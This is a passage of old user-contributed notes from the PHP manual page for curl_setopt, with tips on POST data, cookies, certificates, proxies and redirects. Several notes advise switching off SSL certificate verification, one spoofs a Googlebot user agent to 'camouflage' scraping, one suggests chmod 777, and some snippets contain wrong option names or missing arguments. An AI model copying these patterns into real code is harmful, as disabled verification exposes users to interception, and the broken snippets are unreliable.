    curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);

    //List FTP files and directories
    curl_setopt($ch, CURLOPT_FTPLISTONLY, TRUE);

    //Output to curl_exec
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    echo "Executing CURL.\n";
    $output = curl_exec($ch);
    curl_close($ch);
    echo "Closing CURL.\n";
    echo $output . "\n";

   $files = explode("\n", $output);
   print_r($files);
?>
ashooner - - gmail , com 22-Mar-2009 03:28
When passing CURLOPT_POSTFIELDS a url-encoded string in order to use Content-Type: application/x-www-form-urlencoded, you can pass a string directly:
<?php
curl_setopt(CURLOPT_POSTFIELDS, 'field1=value&field2=value2');
?>

rather than passing the string in an array, as in fred at themancan dot com's example.
Ariz Jacinto 01-Feb-2009 06:36
if unserialize() returns FALSE on a serialized PHP object due to an extraneous string (e.g. "1") appended at the end of the object, you need to set the ff cURL option:

<?php
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
?>
urkle at outoforder dot cc 28-Jan-2009 06:49
To send a post as a different content-type (ie.. application/json or text/xml) add this setopt call

<?php
curl_setopt($ch, CURLOPT_HTTPHEADERS,array('Content-Type: application/json'));
?>

[EDIT BY danbrown AT php DOT net: Contains a typofix by 'KdoubleU' on 3-FEB-09.]
fnjordy at gmail dot com 30-Nov-2008 11:28
Note that CURLOPT_RETURNTRANSFER when used with CURLOPT_WRITEFUNCTION has effectively three settings: default, true, and false.

default - callbacks will be called as expected.
true - content will be returned but callback function will not be called.
false - content will be output and callback function will not be called.

Note that CURLOPT_HEADERFUNCTION callbacks are always called.
saidk at phirebranding dot com 19-Nov-2008 01:31
Passing in PHP's $_SESSION into your cURL call:

<?php
session_start();
$strCookie = 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/';
session_write_close();

$curl_handle = curl_init('enter_external_url_here');
curl_setopt( $curl_handle, CURLOPT_COOKIE, $strCookie );
curl_exec($curl_handle);
curl_close($curl_handle);
?>

This worked great for me.  I was calling pages from the same server and needed to keep the $_SESSION variables.  This passes them over.  If you want to test, just print_r($_SESSION);

Enjoy!
dorphalsig at gmail dot com 10-Oct-2008 02:20
This may not be a surprise for many, but I know I bled my eyes out trying to implement this in php. And when I knew it was this simple, I really felt extremely stupid. So I put this just so google will save somebody some time in the future.

PHP NTLM AUTH

Make sure you have the 'curl' extension loaded
now just do...

<?php
curl_setopt($ch,CURLAUTH_NTLM);
curl_setopt($ch,CURLOPT_USERPWD,"$username:$password");
?>

and just continue to use curl in the ordinary fashion.
OPALA 26-Sep-2008 12:37
To fetch (or submit data to) multiple pages during one session,use this:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIE, session_name() . '=' . session_id());
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_URL, 'http://example.com/page1.php');
$result1 = curl_exec($ch);

curl_setopt($ch, CURLOPT_URL, 'http://example.com/page2.php');
$result2 = curl_exec($ch);

curl_close($ch);
?>
rkirilow at gmail dot com 16-Sep-2008 01:34
Some of you may noticed that curl is not transferring cookies between sequent calls to a host. This is because you must activate curl`s "cookie parser". That is achieved using an external file like this:
<?php
curl_setopt(CURLOPT_FILE, '/tmp/cookies_file');
?>
If you don`t need to read any cookies but you still want the "cookie parser" use the same code but with dummy file with no data like '/dev/null', that way curl is storing cookies internaly per curl_handle:
<?php
curl_setopt(CURLOPT_FILE, '/dev/null');
?>

[EDIT BY danbrown AT php DOT net: In a note dated 26-SEP-08, (adamplumb AT gmail DOT com) offered the following addendum:

[It] should really be CURLOPT_COOKIEFILE.  I was bitten by this issue myself with code that previously worked for logging into a website and posting a form.  However, at some point the code just stopped working, and I eventually found that I needed to set this option to /dev/null for it to work.
]
George 22-Aug-2008 05:14
If you set CURLOPT_RESUME_FROM to resume the file, and then reuse the same Curl handle to download another file, you must reset the resume status by calling curl_setopt( $ch, CURLOPT_RESUME_FROM, 0 ). It will not reset, and will apply to all subsequent transfers even if the URL is the same.
w dot danford at electronics-software dot com 12-Aug-2008 10:12
Just a small detail I too easily overlooked.
<?php
/*  If you set:  */
curl_setopt ($ch, CURLOPT_POST, 1);
/* then you must have the data: */
curl_setopt ($ch, CURLOPT_POSTFIELDS, $PostData);
?>
I found with only the CURLOPT_POST set (from copy, paste editing of course) cookies were not getting sent with CURLOPT_COOKIE.  Just something subtle to watch out for.
fred at themancan dot com 05-Aug-2008 04:28
To find what encoding a given HTTP POST request uses is easy -- passing an array to CURLOPT_POSTFIELDS results in  multipart/form-data:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1' => 'value'));
?>

Passing a URL-encoded string will result in application/x-www-form-urlencoded:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1=value&field2=value2'));
?>

I ran across this when integrating with both a warehouse system and an email system; neither would accept multipart/form-data, but both happily accepted application/x-www-form-urlencoded.
jID 05-Aug-2008 04:56
if you use
<?php
curl_setopt($ch, CURLOPT_INTERFACE, "XXX.XXX.XXX.XXX");
?>
to specify IP adress for request, sometimes you need to get list of all your IP's.

ifconfig command will output something like:

rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
    options=8<VLAN_MTU>
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 82.146.XXX.XXX netmask 0xffffffff broadcast 82.146.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    inet 78.24.XXX.XXX netmask 0xffffffff broadcast 78.24.XXX.XXX
    ether XX:XX:XX:XX:XX:XX
    media: Ethernet autoselect (100baseTX <full-duplex>)
    status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
tun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
    Opened by PID 564
tun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
    Opened by PID 565
    Opened by PID 565

My solution for FreeBSD 6 and PHP 5 was:
<?php
  ob_start();
  $ips=array();
  $ifconfig=system("ifconfig");
  echo $ifconfig;
  $ifconfig=ob_get_contents();
  ob_end_clean();
  $ifconfig=explode(chr(10), $ifconfig);
  for ($i=0; $i<count($ifconfig); $i++) {
    $t=explode(" ", $ifconfig[$i]);
    if ($t[0]=="\tinet") {
      array_push($ips, $t[1]);
    }
  }
  for ($i=0; $i<count($ips); $i++) {
    echo $ips[$i]."\n";
  }
?>

You will get list of IP adresses in $ips array, like:
82.146.XXX.XXX
78.24.XXX.XXX
82.146.XXX.XXX
82.146.XXX.XXX
82.146.XXX.XXX
78.24.XXX.XXX
78.24.XXX.XXX
ac at an dot y-co dot de 10-Jul-2008 10:08
If you want to connect to a server which requires that you identify yourself with a certificate, use following code. Your certificate and servers certificate are signed by an authority whose certificate is in ca.ctr.

<?php
curl_setopt($ch, CURLOPT_VERBOSE, '1');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, '1');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, '1');
curl_setopt($ch, CURLOPT_CAINFO,  getcwd().'/cert/ca.crt');
curl_setopt($ch, CURLOPT_SSLCERT, getcwd().'/cert/mycert.pem');
curl_setopt($ch, CURLOPT_SSLCERTPASSWD, 'password');
?>

If your original certificate is in .pfx format, you have to convert it to .pem using following commands
# openssl pkcs12 -in mycert.pfx -out mycert.key
# openssl rsa -in mycert.key -out mycert.pem
# openssl x509 -in mycert.key >> mycert.pem
nick at glype dot com 07-Jul-2008 09:18
Although CURLOPT_CLOSEPOLICY and the applicable choices are valid constants, setting this option with curl_setopt() always returns false. A quick google search suggests the option is deprecated and/or never worked.
Salil Kothadia 19-Jun-2008 09:02
In PHP5, for the "CURLOPT_POSTFIELDS" option, we can use:

<?php
$ch = curl_init($URI);
$Post = http_build_query($PostData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $Post);
$Output = curl_exec($ch);
curl_close($ch);
?>
sgamon at yahoo dot com 09-Apr-2008 05:55
If you are doing a POST, and the content length is 1,025 or greater, then curl exploits a feature of http 1.1: 100 (Continue) Status.

See http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html#sec8.2.3

* it adds a header, "Expect: 100-continue".
* it then sends the request head, waits for a 100 response code, then sends the content

Not all web servers support this though.  Various errors are returned depending on the server.  If this happens to you, suppress the "Expect" header with this command:

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
?>

See http://www.gnegg.ch/2007/02/the-return-of-except-100-continue/
john factorial 04-Apr-2008 08:22
Clarification for the CURLOPT_NOBODY option: by excluding the body from your request, you're effectively making a HEAD request. Use the CURLOPT_NOBODY option to return only the headers in the remote response.

Example:

<?php
function check_url($url) {
    $c = curl_init();
    curl_setopt($c, CURLOPT_URL, $url);
    curl_setopt($c, CURLOPT_HEADER, 1); // get the header
    curl_setopt($c, CURLOPT_NOBODY, 1); // and *only* get the header
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // get the response as a string from curl_exec(), rather than echoing it
    curl_setopt($c, CURLOPT_FRESH_CONNECT, 1); // don't use a cached version of the url
    if (!curl_exec($c)) { return false; }

    $httpcode = curl_getinfo($c, CURLINFO_HTTP_CODE);
    return ($httpcode < 400);
}
?>
c00lways at gmail dot com 04-Mar-2008 01:16
if you would like to send xml request to a server (lets say, making a soap proxy),
you have to set

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));
?>

makesure you watch for cache issue:
the below code will prevent cache...

<?php
curl_setopt($ch, CURLOPT_FORBID_REUSE, 1);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
?>

hope it helps ;)
mavook at gmail dot com 15-Feb-2008 10:26
If you try to upload file to a server, you need do CURLOPT_POST first and then fill CURLOPT_POSTFIELDS.

<?php
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars);
// ^^ This will post multipart/form-data
?>
jade dot skaggs at gmail dot com 07-Jan-2008 09:48
After much struggling, I managed to get a SOAP request requiring HTTP authentication to work.  Here's some source that will hopefully be useful to others.

         <?php

         $credentials = "username:password";

         // Read the XML to send to the Web Service
         $request_file = "./SampleRequest.xml";
        $fh = fopen($request_file, 'r');
        $xml_data = fread($fh, filesize($request_file));
        fclose($fh);

        $url = "http://www.example.com/services/calculation";
        $page = "/services/calculation";
        $headers = array(
            "POST ".$page." HTTP/1.0",
            "Content-type: text/xml;charset=\"utf-8\"",
            "Accept: text/xml",
            "Cache-Control: no-cache",
            "Pragma: no-cache",
            "SOAPAction: \"run\"",
            "Content-length: ".strlen($xml_data),
            "Authorization: Basic " . base64_encode($credentials)
        );

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);

        // Apply the XML to our curl call
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml_data);

        $data = curl_exec($ch);

        if (curl_errno($ch)) {
            print "Error: " . curl_error($ch);
        } else {
            // Show me the result
            var_dump($data);
            curl_close($ch);
        }

?>
Ojas Ojasvi 25-Sep-2007 10:52
<?php
/*
* Author: Ojas Ojasvi
* Released: September 25, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.php.net';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

Ojas Ojasvi
charles at tastik dot net 01-Sep-2007 02:27
FYI,

Anyone trying to connect to .NET with CURL to send a simple XML post, pay attention to the following. This will save you hours! There is a previous note that I saw either on this page, or somewhere else on this site that explains the correct way to specify the header option is to create an array, then reference the array from the CURLOPT.

ie.  Do something like this:

<?php
// Req. HTTP Header Values
 $header[] = "Content-type: text/xml";

// Target URL
 $sendTo = "http://www.example.com";

// Post Data
 $post = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n....etc, etc,";

// Create CURL Connection
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_USERAGENT, 'XtraDoh xAgent');
 curl_setopt($ch, CURLOPT_URL, $sendTo);
 curl_setopt($ch, CURLOPT_TIMEOUT, 900);
 curl_setopt($ch, CURLOPT_CONNECTIONTIMEOUT, 30);
 curl_setopt($ch, CURLOPT_FAILONERROR, false);
 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
 curl_setopt($ch, CURLOPT_POST, true);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
?>

Notice the HTTPHEADER, $header above. I have not been able to get .NET to properly read the HTTP header as specified (in this case as text/xml) when using the following:

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type'=>'text/xml'));
?>

Although this may work when working with other PHP, IIS, or even PHP, Apache, it does not (at least in my experience) work with .NET, IIS.
andrabr at gmail dot com 20-Aug-2007 02:03
This is very clear in hindsight, but it still cost me several hours:

<?php curl_setopt($session, CURLOPT_HTTPPROXYTUNNEL, 1); ?>

means that you will tunnel THROUGH the proxy, as in "your communications will go as if the proxy is NOT THERE".

Why do you care? - Well, if you are trying to use, say, Paros, to debug HTTP between your cURL and the server, with CURLOPT_HTTPPROXYTUNNEL set to TRUE Paros will not see or log your traffic thus defeating the purpose and driving you nuts.

There are other cases, of course, where this option is extremely useful...
michael sky 05-Jul-2007 03:09
if you are trying to connect to 'https://...' and after that want to work with POST data - that's the way:

<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($curl, CURLOPT_COOKIEJAR, "cookiefile"); # SAME cookiefile
curl_setopt($curl, CURLOPT_URL, "url1"); # this is where you first time connect - GET method authorization in my case, if you have POST - need to edit code a bit
$xxx = curl_exec($curl);

curl_setopt($curl, CURLOPT_URL, "url2"); # this is where you are requesting POST-method form results (working with secure connection using cookies after auth)
curl_setopt($curl, CURLOPT_POSTFIELDS, "var1=value&var2=value&var3=value&"); # form params that'll be used to get form results
$xxx = curl_exec($curl);

curl_close ($curl);
echo $xxx;
?>
sleepwalker at rahulsjohari dot com 27-Jun-2007 11:18
Two things that I noted, one of which has been mentioned earlier, if you are connecting to an SSL site (https) and don't have the appropriate certificate, don't forget to set CURLOPT_SSL_VERIFYPEER as "false"... it's set to "true" by default. Scratched my head over 2 hours to figure this one out as I had a machine with an older version installed and everything worked fine without using this option on that one - but failed on other machines with newer versions.

Second very important thing, I've never had my scripts work (tried on various machines, multiple platforms) with a Relative path to a COOKIEJAR or COOKIEFILE. In my experience I HAVE to specify the absolute path and not the relative path.

Small script I wrote to connect to a page, gather all cookies into a jar, connect to another page to login, taking the cookiejar with you for authentication:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, "/Library/WebServer/Documents/tmp/cookieFileName");
curl_setopt($ch, CURLOPT_URL,"https://www.example.com/myaccount/start.asp");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
ob_start();      // Prevent output
curl_exec ($ch);
ob_end_clean();  // End preventing output
curl_close ($ch);
unset($ch);

$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "field1=".$f1."&field2=".$f2."&SomeFlag=True");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_COOKIEFILE, "/Library/WebServer/Documents/tmp/cookieFileName");
curl_setopt($ch, CURLOPT_URL,"https://www.example.com/myaccount/Login.asp");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec ($ch);
curl_close ($ch);
?>
mcbreen at gmail dot com 12-Jun-2007 02:35
If you are getting the following error:

SSL: certificate subject name 'example.com' does not match target host name 'example.net'

Then you can set the following option to get around it:

<?php curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); ?>
vincent at ludden dot nl 12-Jun-2007 01:55
Please note that the CURLOPT_INTERFACE setting only accepts IP addresses and hostnames of the local machine. It is not meant to send a URL to a specific IP address.
ashw1 - at - no spam - post - dot - cz 03-Jun-2007 04:51
In case you wonder how come, that cookies don't work under Windows, I've googled for some answers, and here is the result: Under WIN you need to input absolute path of the cookie file.

This piece of code solves it:

<?php

if ($cookies != '')
    {
    if (substr(PHP_OS, 0, 3) == 'WIN')
        {$cookies = str_replace('\\','/', getcwd().'/'.$cookies);}
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    }

?>
Jon Freilich 11-May-2007 09:52
curl will sometimes return an "Empty reply from server" error if you don't send a User-Agent string.  Use the CURLOPT_USERAGENT option.
rob at infoglobe dot net 24-Apr-2007 09:01
Options not included in the above, but that work (Taken from the libcurl.a C documentation)

CURLOPT_FTP_SSL

Pass a long using one of the values from below, to make libcurl use your desired level of SSL for the ftp transfer. (Added in 7.11.0)

CURLFTPSSL_NONE

Don't attempt to use SSL.

CURLFTPSSL_TRY

Try using SSL, proceed as normal otherwise.

CURLFTPSSL_CONTROL

Require SSL for the control connection or fail with CURLE_FTP_SSL_FAILED.

CURLFTPSSL_ALL

Require SSL for all communication or fail with CURLE_FTP_SSL_FAILED.
alfredoaguirre dot v at gmail dot com 13-Mar-2007 04:26
Seems that CURLOPT_RETURNTRANSFER Option set to TRUE, returns a "1" when the transaction returns a blank page.

I think is for eliminate the FALSE to can be with a blank page as return
paczor 08-Mar-2007 06:50
How to get rid of response after POST: just add callback function for returned data (CURLOPT_WRITEFUNCTION) and make this function empty.

<?php
function curlHeaderCallback($ch, $strHeader) {
}
curl_setopt($ch, CURLOPT_WRITEFUNCTION, 'curlHeaderCallback');
?>
null at nahdah dot com 27-Nov-2006 01:42
I was having problems with Authorize.net and the SSL cert matching even after adding:

<?php
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
?>

What I found after a lot of stumbling was I needed to set VERIFYHOST to FALSE.  So if you are still have a problem with Authorize.NET SSL and cURL add this:

<?php
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
?>
pyroevi at yahoo dot com 22-Nov-2006 10:33
I was working on using php to interface with an authorize.net gateway, and I ran into a problem with certificates using curl to talk the https:// url.

curl_error() told me "SSL certificate problem, verify that the CA cert is OK."

I googled it and found the same "solution" over and over again: bypass verification by adding this line after curl_init():

<?php
curl_setopt($connection, CURLOPT_SSL_VERIFYPEER, false);
?>

This worked great, but I was required to verify, so here's what I did. Add the following lines:

<?php
curl_setopt($connection, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($connection, CURLOPT_CAINFO, "path:/ca-bundle.crt");
?>

with "path:/ca-bundle.crt" being the path to that certificate file. You can get this file by downloading the curl package (http://curl.haxx.se/download.html) and looking for it in the lib folder.

Feel free to email me.
eion at bigfoot dot com 21-Nov-2006 08:40
If you are trying to use CURLOPT_FOLLOWLOCATION and you get this warning:
Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set...

then you will want to read http://www.php.net/ChangeLog-4.php which says "Disabled CURLOPT_FOLLOWLOCATION in curl when open_basedir or safe_mode are enabled." as of PHP 4.4.4/5.1.5.  This is due to the fact that curl is not part of PHP and doesn't know the values of open_basedir or safe_mode, so you could comprimise your webserver operating in safe_mode by redirecting (using header('Location: ...')) to "file://" urls, which curl would have gladly retrieved.

Until the curl extension is changed in PHP or curl (if it ever will) to deal with "Location:" headers, here is a far from perfect remake of the curl_exec function that I am using.

Since there's no curl_getopt function equivalent, you'll have to tweak the function to make it work for your specific use.  As it is here, it returns the body of the response and not the header.  It also doesn't deal with redirection urls with username and passwords in them.

<?php
    function curl_redir_exec($ch)
    {
        static $curl_loops = 0;
        static $curl_max_loops = 20;
        if ($curl_loops++ >= $curl_max_loops)
        {
            $curl_loops = 0;
            return FALSE;
        }
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $data = curl_exec($ch);
        list($header, $data) = explode("\n\n", $data, 2);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($http_code == 301 || $http_code == 302)
        {
            $matches = array();
            preg_match('/Location:(.*?)\n/', $header, $matches);
            $url = @parse_url(trim(array_pop($matches)));
            if (!$url)
            {
                //couldn't process the url to redirect to
                $curl_loops = 0;
                return $data;
            }
            $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
            if (!$url['scheme'])
                $url['scheme'] = $last_url['scheme'];
            if (!$url['host'])
                $url['host'] = $last_url['host'];
            if (!$url['path'])
                $url['path'] = $last_url['path'];
            $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
            curl_setopt($ch, CURLOPT_URL, $new_url);
            debug('Redirecting to', $new_url);
            return curl_redir_exec($ch);
        } else {
            $curl_loops=0;
            return $data;
        }
    }
?>
php at miggy dot org 23-Aug-2006 10:35
Note that if you want to use a proxy and use it as a _cache_, you'll have to do:

<?php curl_setopt($ch, CURLOPT_HTTPHEADER, array("Pragma: ")); ?>

else by default Curl puts a "Pragma: no-cache" header in and thus force cache misses for all requests.
Philippe dot Jausions at 11abacus dot com 30-May-2006 11:31
Clarification on the callback methods:

- CURLOPT_HEADERFUNCTION is for handling header lines received *in the response*,
- CURLOPT_WRITEFUNCTION is for handling data received *from the response*,
- CURLOPT_READFUNCTION is for handling data passed along *in the request*.

The callback "string" can be any callable function, that includes the array(&$obj, 'someMethodName') format.

 -Philippe
mr at coder dot tv 14-Apr-2006 07:22
Sometimes you can't use CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE becoz of the server php-settings(They say u may grab any files from server using these options). Here is the solution
1)Don't use CURLOPT_FOLLOWLOCATION
2)Use curl_setopt($ch, CURLOPT_HEADER, 1)
3)Grab from the header cookies like this:
preg_match_all('|Set-Cookie: (.*);|U', $content, $results);
$cookies = implode(';', $results[1]);
4)Set them using curl_setopt($ch, CURLOPT_COOKIE,  $cookies);

Good Luck, Yevgen
heyrocker at yahoo dot com 23-Feb-2006 01:57
The examples below for HTTP file upload work great, but I wanted to be able to post multiple files through HTTP upload using HTML arrays as specified in example 38.3 at

http://php.net/features.file-upload

In this case, you need to set the arrays AND keys in the $post_data, it will not work with just the array names. The following example shows how this works:

<?php

    $post_data = array();

    $post_data['pictures[0]'] = "@cat.jpg";
    $post_data['pictures[1]'] = "@dog.jpg";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://example.com/my_url.php" );
    curl_setopt($ch, CURLOPT_POST, 1 );
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);

    if (curl_errno($ch)) {
       print curl_error($ch);
    }
    curl_close($ch);
    print "$postResult";
?>
petelu $ post dot sk 17-Feb-2006 04:19
load https:// or  http://example.com/exam.php
with  POST  data (name=alex&year=18) and apply COOKIEs

<?php
$sessions = curl_init();
curl_setopt($sessions,CURLOPT_URL,'http://example.com/exam.php');
curl_setopt($sessions, CURLOPT_POST, 1);
curl_setopt($sessions,CURLOPT_POSTFIELDS,'name=alex&year=18');
curl_setopt($sessions,CURLOPT_COOKIEJAR,
dirname(__FILE__).'/cookie.txt');
curl_setopt($sessions,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($sessions, CURLOPT_HEADER , 1);
curl_setopt($sessions, CURLOPT_RETURNTRANSFER,1);
$my_load_page = curl_exec($this->sessions);
?>
luca dot manzo at bbsitalia dot com 02-Feb-2006 03:55
If you're getting trouble with cookie handling in curl:

- curl manages tranparently cookies in a single curl session
- the option
<?php curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookieFileName"); ?>

makes curl to store the cookies in a file at the and of the curl session

- the option
<?php curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookieFileName"); ?>

makes curl to use the given file as source for the cookies to send to the server.

so to handle correctly cookies between different curl session, the you have to do something like this:

<?php
       $ch = curl_init();
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_COOKIEJAR, COOKIE_FILE_PATH);
       curl_setopt ($ch, CURLOPT_COOKIEFILE, COOKIE_FILE_PATH);

       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $result = curl_exec ($ch);
       curl_close($ch);
       return $result;
?>

in particular this is NECESSARY if you are using PEAR_SOAP libraries to build a webservice client over https and the remote server need to establish a session cookie. in fact each soap message is sent using a different curl session!!

I hope this can help someone
Luca
Dustin Hawkins 27-Dec-2005 02:24
To further expand upon use of CURLOPT_CAPATH and CURLOPT_CAINFO...

In my case I wanted to prevent curl from talking to any HTTPS server except my own using a self signed certificate. To do this, you'll need openssl installed and access to the HTTPS Server Certificate (server.crt by default on apache)

You can then use a command simiar to this to translate your apache certificate into one that curl likes.

$ openssl x509 -in server.crt -out outcert.pem -text

Then set CURLOPT_CAINFO equal to the the full path to outcert.pem and turn on CURLOPT_SSL_VERIFYPEER.

If you want to use the CURLOPT_CAPATH option, you should create a directory for all the valid certificates you have created, then use the c_rehash script that is included with openssl to "prepare" the directory.

If you dont use the c_rehash utility, curl will ignore any file in the directory you set.
skyogre __at__ yandex __dot__ ru 22-Dec-2005 02:13
There is really a problem of transmitting $_POST data with curl in php 4+ at least.
I improved the encoding function by Alejandro Moreno to work properly with mulltidimensional arrays.

<?php
function data_encode($data, $keyprefix = "", $keypostfix = "") {
  assert( is_array($data) );
  $vars=null;
  foreach($data as $key=>$value) {
    if(is_array($value)) $vars .= data_encode($value, $keyprefix.$key.$keypostfix.urlencode("["), urlencode("]"));
    else $vars .= $keyprefix.$key.$keypostfix."=".urlencode($value)."&";
  }
  return $vars;
}

curl_setopt($ch, CURLOPT_POSTFIELDS, substr(data_encode($_POST), 0, -1) );

?>
phpnet at wafflehouse dot de 23-Oct-2005 06:34
Resetting CURLOPT_FILE to STDOUT won't work by calling curl_setopt() with the STDOUT constant or a php://output stream handle (at least I get error messages when trying the code from phpnet at andywaite dot com). Instead, one can simply reset it as a side effect of CURLOPT_RETURNTRANSFER. Just say

<?php curl_setopt($this->curl,CURLOPT_RETURNTRANSFER,0); ?>

and following calls to curl_exec() will output to STDOUT again.
webmaster () stauceni.com 20-Oct-2005 01:42
A little mistake, that took a half-day to fix it:
When specifing CURLOPT_COOKIEFILE or CURLOPT_COOKIEJAR options, don't forget to "chmod 777" that directory where cookie-file must be created.
ROXORT at TGNOOB dot FR 21-Sep-2005 07:09
<?php
/*
  Here is a script that is usefull to :
  - login to a POST form,
  - store a session cookie,
  - download a file once logged in.
*/

// INIT CURL
$ch = curl_init();

// SET URL FOR THE POST FORM LOGIN
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Login.php');

// ENABLE HTTP POST
curl_setopt ($ch, CURLOPT_POST, 1);

